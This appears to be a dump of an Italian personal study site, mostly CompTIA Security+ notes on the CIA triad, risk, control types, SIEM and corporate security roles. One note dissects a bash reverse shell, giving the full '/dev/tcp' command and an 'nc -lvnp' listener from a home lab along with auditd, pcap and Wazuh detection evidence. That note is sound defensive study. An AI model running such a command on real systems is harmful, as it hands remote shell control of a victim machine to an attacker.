nel log per l'audit.\nRisorse # Gibson SY0-701 Study Guide — Chapter 2 completo (p. 107-200 circa) Collegato a # iam — hub principale di questo capitolo cap-01-security-fundamentals — AAA introdotto in Cap 1, approfondito qui indice-gibson-messer-burning-Ice — indice completo del libro con mappa Gibson-BurningIceTech pre-assessment-risultati — Q4 (MFA), Q11 (OAuth/SAML), Q12 (ABAC) collegati a questo cap ","date":"15 maggio 2026","externalUrl":null,"permalink":"/dump/certificazioni/security-plus/libro/cap-02-identity-access-management/","section":"Dump","summary":"Autenticazione (4 fattori, biometria, MFA), SSO/LDAP/SAML/OAuth, modelli autorizzazione (RBAC/DAC/MAC/ABAC), account lifecycle, PAM, authentication indicators. Cap 2 Gibson SY0-701.","title":"Cap 2 - Identity and Access Management","type":"dump"},{"content":" Cosa fa # Introduce i fondamenti della sicurezza: CIA Triad, concetti di rischio, categorie e tipi di controllo, logging e SIEM. Base di tutto — ogni incidente, ogni controllo, ogni scenario d'esame si riconduce a questi concetti.\nTL;DR # CIA = Confidentiality + Integrity + Availability — per ogni scenario d'esame chiedi: quale dei tre sta violando? Risk = Threat sfrutta Vulnerability → impatto sulla CIA Controlli: 4 categorie (Managerial/Operational/Technical/Physical) x 6 tipi (Preventive/Deterrent/Detective/Corrective/Compensating/Directive) Logs: Windows Event Viewer, /var/log Linux, Firewall, IDS/IPS SIEM: centralizza, aggrega, correla, allerta\nmindmap root((Cap 1 Security Fundamentals)) CIA Triad Confidentiality · Integrity · Availability Risk Threat · Vulnerability · Risk Response Security Controls 4 Categorie · 6 Tipi Logging Windows · Linux · Network SIEM Aggregation · Correlation · Alerts Compliance HIPAA · PCI-DSS · GDPR · SOX CIA Triad # mindmap root((CIA Triad)) Confidentiality Solo chi e autorizzato Come: Encryption Come: Access Controls Viola: unauthorized disclosure Integrity Dati non alterati Come: Hashing SHA-256 Viola: data tampering Availability Sempre accessibile Come: Ridondanza RAID failover Come: Patching Viola: DoS downtime SPOF [C] Confidentiality \u0026#34;solo chi e\u0026#39; autorizzato\u0026#34; / \\ / \\ [I] ____________ [A] Integrity Availability \u0026#34;non alterato\u0026#34; \u0026#34;sempre disponibile\u0026#34; Pilastro Definizione Gibson Come si ottiene Remember This! Confidentiality Previene la divulgazione non autorizzata Encryption (meglio), Access Controls Il modo migliore per proteggere la confidentiality e' cifrare. Copre PII (Personally Identifiable Information), database, mobile. Integrity Previene l'alterazione non autorizzata — intenzionale o accidentale Hashing (SHA-256: output fisso, irreversibile) L'integrity verifica che i dati non siano stati modificati. Se gli hash corrispondono, i dati sono intatti. Availability Garantisce l'accesso quando serve Ridondanza, fault tolerance, patching Il nemico della Availability e' il SPOF: un componente unico che se si rompe porta giu' tutto. La soluzione e' duplicare i componenti critici (ridondanza) cosi' che il sistema sopravviva al guasto (fault tolerance). Nessun SPOF = alta disponibilita'. Barno's mindset: per ogni incidente chiedi \u0026quot;quale dei tre sta violando?\u0026quot; — quella e' la risposta all'esame.\nCome funziona l'hashing per l'Integrity # Definizione: una funzione di hashing prende un input di qualsiasi dimensione e produce sempre un digest di dimensione fissa, determinata dall'algoritmo. Questa e' la proprieta' fondamentale che definisce l'hashing.\nAlgoritmo Digest (sempre fisso) MD5 128 bit SHA-1 160 bit SHA-256 256 bit SHA-512 512 bit Un file da 1 KB e un file da 10 GB producono entrambi un digest da 256 bit con SHA-256.\nFile originale → [SHA-256] → hash A (es. 3f4a...) File dopo N giorni → [SHA-256] → hash B Se A == B → file intatto Se A != B → file modificato L'algoritmo e' irreversibile: non si puo' risalire al file dall'hash.\nHashing vs Encryption — confronto # Hashing Encryption Reversibile? No — one-way, impossibile tornare all'originale Si' — con la chiave corretta Chiave? No Si' (simmetrica o asimmetrica) Output Sempre fisso (determinato dall'algoritmo) Varia con l'input (block/stream) o fisso (RSA) Scopo Verificare integrita' — \u0026quot;il dato e' cambiato?\u0026quot; Proteggere confidentiality — \u0026quot;nascondere il contenuto\u0026quot; CIA coperta Integrity Confidentiality Esempi MD5, SHA-1, SHA-256, SHA-512 AES (simmetrica), RSA (asimmetrica) Caso d'uso Confrontare hash prima/dopo per rilevare modifiche Cifrare dati in transito o a riposo Hook: hashing = impronta digitale (unica, non si torna alla persona). Encryption = cassaforte (si apre con la chiave).\nAccess Controls — Identification, Authentication, Authorization # mindmap root((Access Controls)) Identification Dichiara identita Esempio: username Authentication Prova identita Esempio: password token biometrico Authorization Verifica permessi Esempio: ACL ruoli cartelle Access controls = chi puo' vedere/fare cosa.\nFase Cosa succede Esempio Gibson Identification Maggie dichiara la sua identita' con un username \u0026quot;Sono Maggie\u0026quot; Authentication Maggie prova di essere Maggie con la password Solo lei conosce la password Authorization Il sistema verifica cosa puo' fare Maggie Maggie ha accesso a /dati-hr (folder), Homer no Nota: Homer puo' avere un account valido ma zero permessi su certi file — identification e authentication OK, authorization lo blocca.\nAvailability — Ridondanza e Fault Tolerance # mindmap root((Availability)) SPOF Single Point of Failure Elimina con ridondanza Ridondanza Disk: RAID Server: Failover cluster Network: Load balancing NIC teaming Power: UPS generatori Scalability Manuale lo fa l admin Scale OUT aggiunge server Scale UP aggiunge risorse Elasticity Automatica lo fa il sistema Alta domanda risorse crescono Bassa domanda risorse calano Resiliency Auto-ripara con minimo downtime Backup testati retry automatico Obiettivo principale: eliminare ogni SPOF (Single Point of Failure).\nSENZA ridondanza: [Server] → [1 disco] ← SPOF: disco muore = server down CON ridondanza (RAID): [Server] → [disco1 + disco2] ← un disco muore, l\u0026#39;altro continua Tipi di ridondanza # Tipo Esempi Disk RAID Server Failover cluster Network Load balancing (piu' server per un servizio), NIC teaming Power UPS (Uninterruptible Power Supply), generatori Scalability vs Elasticity # Scalability (manuale — lo fa l'admin):\nScale OUT / orizzontale: aggiunge server → [S1] diventa [S1][S2][S3] Scale UP / verticale: aggiunge risorse allo stesso server → [S1: 16GB RAM] diventa [S1: 32GB RAM] Scale IN / Scale DOWN: l'inverso, rimozione manuale di server o risorse Elasticity (automatica — lo fa il sistema):\nDomanda alta → risorse aggiunte automaticamente Domanda bassa → risorse rimosse automaticamente Come un elastico: si allunga e torna da solo. Esempi: AWS Auto Scaling, GCP Remember This! Scalability = manuale. Elasticity = automatica.\nResiliency # I sistemi resilienti si auto-riparano con minimo downtime. Usano le stesse tecniche di alta disponibilita' ma con un focus sul recupero automatico:\nbackup periodici testati NIC teaming (se una NIC smette, l'altra prende il traffico) ridondanza dischi retry automatico dei processi falliti (es. TCP ritrasmette i pacchetti persi, Chrome si riconnette dopo che la rete torna) Patching # Mantenere i sistemi aggiornati con le patch è essenziale per la Availability. I bug del software causano problemi di sicurezza, crash casuali e comportamenti imprevisti. Quando i vendor scoprono i bug, rilasciano codice che li corregge (patch). Le organizzazioni implementano patch management programs per assicurarsi che i sistemi siano always up-to-date e che le vulnerabilità note vengano corrette prima di essere sfruttate.\nRemember This! Il patching è un controllo preventivo che protegge la Availability — un sistema non patchato è una vulnerabilità aperta.\nResource Availability Versus Security Constraints # Le organizzazioni devono bilanciare disponibilità di risorse e sicurezza. La cifratura massimizza la Confidentiality — perché allora non cifrare tutto? Perché la sicurezza consuma risorse:\nUn file cifrato con AES-256 occupa circa il 60% di spazio in più sul disco Cifrare e decifrare richiede CPU e memoria, rallentando le applicazioni I security expert direbbero che il costo vale la sicurezza. Gli executive hanno la responsabilità di minimizzare i costi senza sacrificare la sicurezza. L'obiettivo è trovare il punto ottimale tra resource costs e security needs.\nBarno's note: stesso trade-off dei sistemi PHP/Symfony — abilitare HTTPS, cifrare sessioni, usare bcrypt per le password ha un costo computazionale reale. Non è gratis.\nRisk Concepts # mindmap root((Risk)) Threat Circostanza che minaccia CIA Interna esterna naturale accidentale Vulnerability Debolezza nel sistema HW SW configurazione utenti Risk Probabilita che Threat sfrutti Vulnerability Formula: Likelihood x Impact Risk Response Mitigate: riduci con controlli Transfer: assicurazione MSSP Accept: dentro soglia tolleranza Avoid: elimina l attivita graph TD T[\"THREAT (minaccia) interna · esterna · naturale · accidentale\"] V[\"VULNERABILITY (debolezza) hardware · software · configurazione · utenti\"] R[\"RISK probabilita' che T sfrutti V con impatto sulla CIA\"] M[\"RISK MITIGATION riduce la probabilita' O l'impatto tramite security controls\"] T --\u003e|sfrutta| V V --\u003e|genera| R R --\u003e|si gestisce con| M Definizioni esatte Gibson (esame):\nRisk = the possibility or likelihood of a threat exploiting a vulnerability resulting in a loss Threat = any circumstance or event that has the potential to compromise confidentiality, integrity, or availability Vulnerability = a weakness in hardware, software, configuration, or users using the system Risk mitigation = reduces risk by reducing the chances that a threat will exploit a vulnerability OR reduces the risk's impact Risk rating formula:\nRisk Rating = Likelihood × Impact Likelihood = quanto è probabile che accada. Impact = quanto è grave se accade. Exam trap: \u0026quot;owners and thresholds\u0026quot; = risk register (chi è responsabile). \u0026quot;probability and exposure factor\u0026quot; = ALE formula quantitativa. La domanda generica sul risk rating → sempre Likelihood × Impact.\nSecurity incident = adverse event or series of events that can negatively affect the CIA of an organization's IT systems and data.\nBarno's mindset: ogni incident e' una violazione di uno o piu' pilastri CIA. Identificare quale e' il primo passo.\nRisk Response Strategies — le 4 opzioni\nQuando un'organizzazione identifica un rischio, ha quattro possibili risposte:\nStrategia Cosa fa Esempio concreto Mitigate Riduce la probabilita' o l'impatto del rischio Installare firewall, applicare patch, fare training Transfer Sposta l'impatto finanziario su una terza parte Comprare cyber insurance, outsourcing a un MSSP Accept Riconosce il rischio e non agisce (consapevolmente) Rischio troppo costoso da gestire, dentro la soglia di tolleranza Avoid Elimina completamente l'attivita' che genera il rischio Non lanciare un prodotto, chiudere un servizio vulnerabile Important Exam anchor obbligatorio:\nInsurance = sempre Transfer. Nessuna eccezione. Firewall / patch / training = sempre Mitigate. \u0026quot;We've decided to live with it\u0026quot; = Accept. \u0026quot;We're not doing that activity anymore\u0026quot; = Avoid. Exam trap: \u0026quot;mitigate\u0026quot; suona come \u0026quot;fare qualcosa\u0026quot; — ma comprare un'assicurazione e' fare qualcosa. Il discriminante e' a chi va il rischio: se rimane all'org (con controlli) = mitigate. Se passa a terzi = transfer.\nSecurity Controls — Categorie # mindmap root((Categorie Controlli)) Managerial Chi: Management Policy scritte risk assessment Operational Chi: Persone day-to-day Training change management Technical Chi: Tecnologia HW SW Firewall antivirus IDS IPS Physical Chi: Puoi toccarlo Lock fences CCTV mantrap Risponde a: chi o cosa implementa il controllo?\nCategoria Chi Come Esempi Gibson Managerial Management Policy scritte, risk assessment Risk assessment, vulnerability assessment, security policy Operational Persone (day-to-day) Procedure umane Security awareness training, change management, media protection Technical Tecnologia Hardware, software, firmware Encryption, antivirus, IDS, IPS, firewall, least privilege Physical Chi puoi toccare Dispositivi fisici Locks, fences, bollards, mantrap, lighting, CCTV graph TD SC[Security Controls] SC --\u003e M[\"Managerial Chi: Management Policy scritte, risk assessment\"] SC --\u003e O[\"Operational Chi: Persone day-to-day Training, change management\"] SC --\u003e T[\"Technical Chi: Tecnologia HW/SW Firewall, antivirus, IDS, IPS\"] SC --\u003e P[\"Physical Chi: Puoi toccarlo Locks, fences, CCTV, mantrap\"] Barno's hook: Physical = \u0026quot;quello che si puo' toccare\u0026quot; — facile da ricordare.\nSecurity Controls — Tipi # mindmap root((Tipi Controlli)) Prima dell incidente Preventive Blocca l incidente Firewall training IPS AUP Deterrent Scoraggia psicologicamente Warning signs login banner Directive Istruisce come comportarsi SOP incident procedure Durante l incidente Detective Rileva che sta succedendo Log SIEM IDS video surveillance Dopo l incidente Corrective Ripristina normalita Backup incident handling Compensating Alternativa al controllo primario TOTP invece di smart card Risponde a: quando agisce il controllo rispetto all'incidente?\nPRIMA dell\u0026#39;incidente: Preventive → blocca l\u0026#39;incidente Deterrent → scoraggia psicologicamente Directive → istruisce su come comportarsi DURANTE l\u0026#39;incidente: Detective → rileva che sta succedendo DOPO l\u0026#39;incidente: Corrective → corregge e ripristina Compensating → alternativa al controllo primario (usato anche prima) Tipo Funzione Esempi Gibson Preventive Blocca l'incidente Hardening, training utenti, security guards, account disablement process, IPS, AUP Deterrent Scoraggia la minaccia Warning signs, login banners (MOTD), guard visibile all'ingresso Detective Rileva vulnerabilita' sfruttate Log monitoring, SIEM, video surveillance, IDS, motion detection, security audit Corrective Ripristina normalita' Backup \u0026amp; system recovery, incident handling procedures Compensating Alternativa al controllo primario TOTP invece di smart card per nuovi dipendenti in attesa del badge Directive Istruisce come comportarsi SOP (Standard Operating Procedure), incident response procedure, job aids EXAM TRAP — AUP vs Directive: AUP (Acceptable Use Policy) = Preventive, NON Directive.\nAUP impedisce comportamenti vietati prima che accadano → Preventive Directive = fornisce istruzioni su come comportarsi in risposta a situazioni di sicurezza (es. \u0026quot;se ricevi un'email sospetta, fai X\u0026quot;) La differenza: AUP dice \u0026quot;non fare questo\u0026quot;. Directive dice \u0026quot;fai questo quando succede quello\u0026quot;. Change management = sia Operational sia Directive (caso speciale esplicito nel libro). Barno's key: capire se il controllo agisce PRIMA, DURANTE o DOPO e' la chiave per classificarlo correttamente all'esame.\nCombinare categorie e tipi # Un controllo appartiene SEMPRE ad almeno una categoria E un tipo.\nControllo Categoria Tipo Firewall Technical Preventive Fire suppression system Physical + Technical Corrective Lock sulla porta Physical Preventive + Deterrent Login banner Technical Deterrent CCTV Physical Detective (+ Deterrent se visibile) Encryption Technical Preventive Lock = sia preventive (blocca fisicamente) sia deterrent (scoraggia chi vede il lucchetto).\nHardening # Rendere un sistema piu' sicuro della configurazione di default. Strategia defense-in-depth:\ndisabilitare porte e servizi non necessari implementare protocolli sicuri mantenere il sistema patchato password forti + policy robuste disabilitare account di default e non necessari Logging and Monitoring # mindmap root((Logging)) Windows Event Viewer Security log: accessi e audit System log: eventi OS Application log: eventi app Linux var log syslog o messages: sistema generale secure: autenticazione sessioni Network Firewall: traffico bloccato e permesso IDS: alert only non blocca IPS: IDS + blocca il traffico Wireshark: singoli pacchetti Application Web server log formato W3C Metadata: descrivono altri dati Windows — Event Viewer # Log Contenuto Security log Log di sicurezza, audit, accessi System log Eventi OS: startup, shutdown, errori di sistema Application log Eventi delle applicazioni in esecuzione Linux — /var/log/ # File Contenuto /var/log/syslog o /var/log/messages Messaggi generali di sistema (startup, kernel, mail) /var/log/secure Autenticazione e autorizzazione sessioni utente Network Logs # Fonte Cosa registra Firewall Tutto il traffico bloccato/permesso — border guard della rete IDS Traffico anomalo rilevato (solo alert, non blocca) IPS Come IDS ma blocca anche il traffico sospetto Packet capture Singoli pacchetti — tool: Wireshark Application Logs # Web server log (formato Common Log W3C): ogni richiesta include host, user-identifier, authuser, date, request, status HTTP, bytes.\nMetadata: dati che descrivono altri dati. Utili in indagini forensi (es. header email, metadata immagini).\nCentralized Logging and Monitoring — SIEM # mindmap root((SIEM)) Input Log collectors e sensors Windows Linux firewall IDS app Processo Log aggregation: normalizza fonti diverse Correlation engine: trova pattern Output Alerts e Triggers: notifiche real-time Automated reports Trends: pattern nel tempo Extra UBA: User Behavior Analysis Archiving: storage grandi volumi Syslog: formato e trasporto standard Attenzione Alert tuning: falsi positivi vs negativi NTP sync: tutti i server stesso orologio Soluzione centralizzata per raccogliere, analizzare e gestire dati da sistemi multipli.\ngraph LR A[Windows Logs] --\u003e S[SIEM] B[Linux /var/log] --\u003e S C[Firewall Logs] --\u003e S D[IDS/IPS] --\u003e S E[App Logs] --\u003e S S --\u003e F[Log Aggregation] F --\u003e G[Correlation Engine] G --\u003e H[Alerts] G --\u003e I[Trends] G --\u003e J[Reports] H --\u003e K[SOC Analyst] Componente Funzione Log collectors / Sensors Agenti installati sui sistemi che inviano log al SIEM Log aggregation Normalizza log da fonti diverse in formato comune Correlation engine Analizza eventi da piu' sistemi cercando pattern Automated reports Report predefiniti e personalizzabili UBA (User Behavior Analysis) Analizza comportamento utenti — app e attivita' di rete Alerts e Triggers Alert predefiniti + trigger su soglie (es. N login falliti → blocca IP) Archiving Gestione dello storage su grandi volumi di log Barno's note: i sensori/agenti SIEM sono quelli che abbiamo installato sul nostro server Ubuntu.\nAlert Tuning # Bilanciare la sensitivita' per ridurre falsi positivi (alert su eventi non pericolosi) senza generare falsi negativi (mancanza di alert su eventi reali).\nEsempio Gibson: Homer inserisce la password sbagliata per errore → il SIEM alerta → falso positivo. Sistema sotto attacco con 100 login falliti in 5 minuti → il SIEM non alerta → falso negativo. Il valore soglia (quanti login falliti triggerano l'alert) è configurabile, tipicamente tra 1 e 100.\nRegola pratica: se alzi troppo la sensitivita' → alert-fatigue, gli analisti ignorano gli alert. Se la abbassi troppo → perdi eventi reali.\nSIEM Dashboards # Il dashboard SIEM è la visualizzazione in tempo reale di tutto ciò che succede nella rete — come il cruscotto di un'auto. Fornisce continuous monitoring e real-time reporting. In grandi organizzazioni (NOC), il dashboard può occupare un intero display. Le viste sono customizzabili per ruolo e obiettivo.\nElemento Funzione Sensors Agenti installati sui sistemi della rete — raccolgono log dai device e li inviano al SIEM Alerts Notifiche in tempo reale quando scatta un trigger (email al gruppo, pop-up su dashboard) Correlation Analisi dei log in arrivo — il dashboard può mostrare i dati correlati in modi diversi Trends Identificazione di pattern nel tempo (es. spike di login falliti) — visualizzati su grafici Syslog # Protocollo standard per il formato e il trasporto dei log. La maggior parte dei SIEM usa syslog e include un syslog server per raccogliere log da dispositivi di rete. Syslog definisce solo formato e trasporto — non come il server gestisce i log dopo.\nTime synchronization: tutti i server che inviano dati al SIEM devono essere sincronizzati con lo stesso orologio (NTP) — altrimenti la correlazione temporale degli eventi e' inutile.\nDomande Sbagliate — Test Fine Capitolo # Q: AES crea un output fixed-length non reversibile? No. AES e' cifratura (encryption) — reversibile con la chiave. MD5 e' hashing — irreversibile per definizione. La domanda chiedeva \u0026quot;cannot re-create the original\u0026quot; = one-way = hashing = MD5. Hook: AES = cassaforte (si apre con la chiave). MD5 = tritacarne (non si torna indietro).\nQ: Server e-commerce con picchi casuali di traffico — Elasticity o Scalability? Elasticity. I picchi sono casuali e imprevedibili — serve che il sistema reagisca da solo. Scalability sarebbe corretta se l'admin aggiungesse risorse manualmente sapendo in anticipo quando arriva il picco. Distinzione: Scalability = manuale e permanente. Elasticity = automatica, sale e scende da sola.\nQ: Quale NON e' un controllo di fault tolerance — UPS / SIEM / RAID / NIC teaming? SIEM. UPS, RAID e NIC teaming sono ridondanze: se qualcosa si rompe, l'altro prende il posto. SIEM e' un controllo Detective — vede cosa succede, non sostituisce nulla se cade. Hook: fault tolerance = \u0026quot;se si rompe, l'altro prende il suo posto\u0026quot;. SIEM non prende il posto di nulla.\nQ: Kate scrive una SOP per i vulnerability assessment — quale categoria? Managerial, non Technical. Il tool che esegue la scansione e' Technical. La procedura che definisce come e quando farla e' Managerial. Hook: \u0026quot;Lo scrivi o lo configuri?\u0026quot; — se lo scrivi e' Managerial, se lo configuri e' Technical.\nScenario Reale # Un attaccante prova brute force su SSH (Threat). Il server non ha account lockout policy (Vulnerability). L'IDS rileva il pattern (Detective control) e il SIEM correla i log di piu' server vedendo lo stesso IP attaccare altri host (Correlation engine). Il trigger sul SIEM dopo N tentativi modifica il firewall per bloccare quell'IP (Corrective/Technical). Il SOC analyst riceve l'alert, segue il playbook (Directive/Operational) e documenta l'incidente. La CIA violata e' Availability (se il brute force avesse avuto successo e il servizio fosse stato compromesso).\nCompliance Frameworks — Quale regola cosa # mindmap root((Compliance Frameworks)) HIPAA Healthcare USA PHI dati sanitari cartelle cliniche PCI-DSS Pagamenti e retail Numeri carta CVV PIN GDPR Tutti chi tratta dati cittadini UE PII dati personali europei SOX Finance aziende quotate USA Reporting finanziario FERPA Education USA Registri studenti GLBA Banche e istituzioni finanziarie USA Dati finanziari consumatori Domanda tipo esame: \u0026quot;Which regulation primarily governs X?\u0026quot; La risposta dipende dal tipo di dato e dal settore.\nSigla Nome completo Cosa regola Settore HIPAA Health Insurance Portability and Accountability Act PHI — Protected Health Information (dati sanitari, cartelle cliniche, diagnosi) Healthcare (USA) PCI-DSS Payment Card Industry Data Security Standard Dati di carte di pagamento (numeri carta, CVV, PIN) Pagamenti / Retail GDPR General Data Protection Regulation Dati personali di cittadini UE (PII) Tutte le organizzazioni che trattano dati UE SOX Sarbanes-Oxley Act Reporting finanziario delle aziende pubbliche quotate Finance / Pubbliche imprese (USA) FERPA Family Educational Rights and Privacy Act Dati degli studenti (educational records) Education (USA) GLBA Gramm-Leach-Bliley Act Dati finanziari personali dei consumatori Banche e istituzioni finanziarie (USA) Important Exam trap rapida:\nDati sanitari → HIPAA Carte di credito / pagamento → PCI-DSS Dati personali UE → GDPR Report finanziario aziende quotate → SOX Registri studenti → FERPA Dati finanziari consumatori (banche) → GLBA \u0026quot;Financial data security\u0026quot; e' il trap tipico: se la domanda parla di dati sanitari e ci metti financial, e' sbagliato. HIPAA = healthcare, non finance.\nNIST SP 800-53 # NIST (National Institute of Standards and Technology) pubblica la serie SP 800. SP 800-53 \u0026quot;Security and Privacy Controls for Information Systems and Organizations\u0026quot; è il catalogo ufficiale dei security control, diviso in 20 famiglie. Molte certificazioni security (inclusa Security+) e regolamentazioni referenziano questo documento. Appendice C = catalogo completo di centinaia di controlli divisi in categorie.\nRilevanza esame: potresti vedere riferimenti a \u0026quot;NIST framework\u0026quot; o \u0026quot;SP 800-53\u0026quot; — è il documento di riferimento per i controlli federali US, non un tool ma uno standard.\nRisorse # Gibson SY0-701 Study Guide — Chapter 1, pp. 1-80 circa Collegato a # iam — CIA Triad, Access Controls, IAAA log — Logs, SIEM, syslog, correlation indice-gibson-messer-burning-Ice — indice completo del libro indice-gibson-messer-burning-Ice — indice completo del libro pre-assessment-risultati — Q2 e Q5 sbagliati su preventive/detective/corrective (Cap 1) 01-security-fundamentals-concepts — nota video stesso argomento (angolo BurningIceTech) ","date":"13 maggio 2026","externalUrl":null,"permalink":"/dump/certificazioni/security-plus/libro/cap-01-security-fundamentals/","section":"Dump","summary":"CIA Triad, Risk Concepts, Security Controls (categorie e tipi), Logs e SIEM. Capitolo 1 del Gibson SY0-701.","title":"Cap 1 - Security Fundamentals","type":"dump"},{"content":"Raccoglie le figure dirigenziali e i ruoli security che compaiono nelle domande Security+ sul dominio GRC e governance.\nTL;DR # Chi decide cosa in un'azienda:\nCEO → guida tutta l\u0026#39;azienda ├── CIO → gestisce l\u0026#39;IT │ └── CISO → gestisce la sicurezza IT ├── CFO → gestisce le finanze └── COO → gestisce le operazioni C-Suite (Executive Level) # Ruolo Espansione Responsabilità CEO Chief Executive Officer Massimo dirigente. Risponde al Board of Directors. Decisioni strategiche dell'intera azienda. CIO Chief Information Officer Responsabile di tutta l'infrastruttura IT e dei sistemi informativi. Il CISO di solito riporta a lui. CISO Chief Information Security Officer Responsabile della strategia e delle operazioni di sicurezza informatica. Gestisce il SOC, le policy, i rischi cyber. CFO Chief Financial Officer Responsabile delle finanze. Coinvolto nelle decisioni di budget security e risk transfer (assicurazioni). COO Chief Operating Officer Responsabile delle operazioni quotidiane. Coinvolto in business continuity e disaster recovery. Ruoli Data Governance # Ruolo Responsabilità Exam trap Data Owner Responsabilità legale ultima sui dati. Decide la classificazione. Di solito è un dirigente (es. HR Director per i dati HR), non un tecnico. Data Custodian Gestione tecnica dei dati: backup, crittografia, accessi. È il tecnico (SysAdmin, DBA) — non decide la classificazione, la applica. Data Controller Decide perché e come i dati vengono raccolti/usati. Termine GDPR — è l'azienda stessa. Data Processor Elabora i dati per conto del Controller. Termine GDPR — è un fornitore esterno (es. AWS, payroll provider). Data Steward Gestisce qualità e governance dei dati nel quotidiano. Ruolo operativo, non dirigenziale. Ruoli SOC / Operativi # Ruolo Responsabilità SOC Analyst (Tier 1) Triage degli alert, prima analisi, escalation. SOC Analyst (Tier 2) Incident response, analisi approfondita. SOC Manager Gestisce il team SOC, KPI, reportistica. Incident Responder Gestisce gli incidenti di sicurezza (containment, eradication, recovery). Threat Hunter Ricerca proattiva di minacce non ancora rilevate dagli alert. Threat Actors (tipi di attaccante) # Tipo Descrizione Internal/External Internet-based attacker Attaccante remoto via internet. Deve bucare il perimetro prima di fare danni. External Insider threat Dipendente, contractor o chiunque abbia già accesso legittimo alla rete. Pericoloso perché bypassa i controlli perimetrali. Internal Nation-state Attaccante sponsorizzato da un governo. Risorse elevate, obiettivi geopolitici o spionaggio. External Hacktivist Motivazione ideologica o politica. Obiettivo: visibilità pubblica (defacement, leak). External Organized crime Motivazione finanziaria. Ransomware, frodi, furti di credenziali. External Unskilled attacker Usa tool già pronti senza capirli. Anche chiamato script kiddie. External Scenario Reale # In una domanda Security+ tipica: \u0026quot;Who is responsible for classifying data?\u0026quot; → Data Owner (non il CISO, non il custodian).\n\u0026quot;Who implements encryption on the database?\u0026quot; → Data Custodian.\n\u0026quot;Who approves the security budget?\u0026quot; → CFO (o CEO) con input del CISO.\nCollegato a # iam — identità e ruoli glossario-inglese — termini inglesi collegati ","date":"11 maggio 2026","externalUrl":null,"permalink":"/concetti/ruoli-aziendali-security/","section":"Concetti","summary":"Mappa delle figure dirigenziali e dei ruoli security in un'organizzazione. Utile per domande di governance e GRC sul Security+.","title":"Ruoli Aziendali - C-Suite e figure Security","type":"concetti"},{"content":" Cosa fa # Apre una shell bash interattiva e redirige stdin, stdout e stderr verso una connessione TCP remota — dando all'attaccante una shell interattiva sulla macchina vittima.\nTL;DR # bash -i \u0026gt;\u0026amp; /dev/tcp/192.168.64.200/4444 0\u0026gt;\u0026amp;1 # [1] [2] [3] [4] bash -i — shell interattiva \u0026gt;\u0026amp; — redirige stdout E stderr /dev/tcp/192.168.64.200/4444 — connessione TCP verso attaccante 0\u0026gt;\u0026amp;1 — redirige stdin allo stesso socket Risultato: tutti e tre i file descriptor (stdin, stdout, stderr) passano attraverso il socket TCP.\nCome funziona # File descriptor — i tre canali standard # Ogni processo Linux ha tre canali aperti per default:\nfd Nome Cosa fa 0 stdin riceve input (tastiera) 1 stdout invia output normale 2 stderr invia errori Pezzo per pezzo # bash -i\nAvvia bash in modalità interattiva. Il flag -i fa sì che bash mostri il prompt, accetti input da tastiera e si comporti come una shell normale. Senza -i bash non interagisce con l'utente.\n/dev/tcp/192.168.64.200/4444\nNon è un file reale — è un pseudo-device di bash (non del kernel). Quando bash incontra /dev/tcp/IP/PORT nella parte destra di un redirect, apre una connessione TCP verso quell'IP e porta. Leggere da questo path riceve dati dal socket. Scrivere su questo path invia dati sul socket.\nCorrisponde alla syscall connect() — visibile in auditd come syscall 203 su ARM64.\n\u0026gt;\u0026amp;\nRedirige sia stdout (fd1) sia stderr (fd2) verso la destinazione. È la forma abbreviata di \u0026gt; /dev/tcp/... 2\u0026gt;\u0026amp;1.\nDopo questo redirect:\nfd1 (stdout) → socket TCP → attaccante fd2 (stderr) → socket TCP → attaccante 0\u0026gt;\u0026amp;1\nRedirige stdin (fd0) verso dove punta fd1 in questo momento — cioè il socket TCP. Dopo questo redirect stdin legge dal socket, quindi i comandi digitati dall'attaccante su Kali entrano in bash come input.\nfd0 (stdin) ← socket TCP ← attaccante (digita comandi) fd1 (stdout) → socket TCP → attaccante (vede output) fd2 (stderr) → socket TCP → attaccante (vede errori) Schema completo # Kali (attaccante) Ubuntu (vittima) nc -lvnp 4444 bash -i \u0026gt;\u0026amp; /dev/tcp/192.168.64.200/4444 0\u0026gt;\u0026amp;1 | | |\u0026lt;====== TCP connection ================| | | | digita: whoami | |=======================================\u0026gt;| stdin (fd0) | | |\u0026lt;======================================= stdout (fd1): barno |\u0026lt;======================================= stderr (fd2): eventuali errori Important È chiamata reverse shell perché la connessione parte dalla vittima verso l'attaccante, non il contrario. Questo bypassa firewall che bloccano connessioni inbound ma permettono connessioni outbound.\nPerché è rilevabile # connect() eseguita da /usr/bin/bash è anomala — bash non apre connessioni di rete nel comportamento normale auditd con regola su syscall connect() la intercetta Nel pcap: connessione persistente bidirezionale da porta effimera verso porta alta non standard conv,tcp: durata \u0026gt;60 secondi con traffico bilanciato in entrambe le direzioni Scenario Reale # Nel lab 2026-05-10:\n# lato Kali — listener nc -lvnp 4444 # lato Ubuntu — payload eseguito bash -i \u0026gt;\u0026amp; /dev/tcp/192.168.64.200/4444 0\u0026gt;\u0026amp;1 # evidenza pcap # 192.168.64.3:56134 \u0026lt;-\u0026gt; 192.168.64.200:4444 # durata: 205 secondi # porta 56134 = effimera → Ubuntu ha iniziato la connessione # alert Wazuh # data.audit.syscall: 203 (connect() su ARM64) # data.audit.exe: /usr/bin/bash Collegato a # system — syscall e file descriptor kernel-syscall — connect() come syscall ARM64 203 reverse-shell — tecnica MITRE T1059.004 incidents — categoria incident report ","date":"10 maggio 2026","externalUrl":null,"permalink":"/concetti/bash-reverse-shell/","section":"Concetti","summary":"Analisi del comando bash -i \u003e\u0026 /dev/tcp/IP/PORT 0\u003e\u00261 - come funzionano i redirect di file descriptor e il pseudo-device /dev/tcp.","title":"Bash Reverse Shell - Anatomia del comando","type":"concetti"},{"content":" Cosa fa # Il kernel è il nucleo del sistema operativo — gestisce hardware, memoria, processi e rete. Le syscall sono le richieste che i programmi inviano al kernel per ottenere operazioni privilegiate.\nTL;DR # graph TD subgraph EL0[\"EL0 — User Space\"] BASH[\"bash\"] PY[\"python\"] NMAP[\"nmap\"] FF[\"firefox\"] end subgraph EL1[\"EL1 — Kernel Space\"] K[\"Linux · XNU (mac) · NT(win) 'concierge' \"] end subgraph EL2[\"EL2 — Hypervisor\"] HYP[\"UTM · VMware · KVM\"] end subgraph EL3[\"EL3 — Firmware\"] BIOS[\"BIOS · UEFI · Secure Boot\"] end subgraph HW[\"Hardware\"] CPU[\"CPU\"] RAM[\"RAM\"] NIC[\"NIC\"] DISK[\"Disco\"] end EL0 --\u003e|\"syscall richiesta al kernel\"| EL1 EL1 --\u003e|\"istruzioni privilegiate\"| EL2 EL2 --\u003e EL3 EL3 --\u003e|\"accesso diretto\"| HW 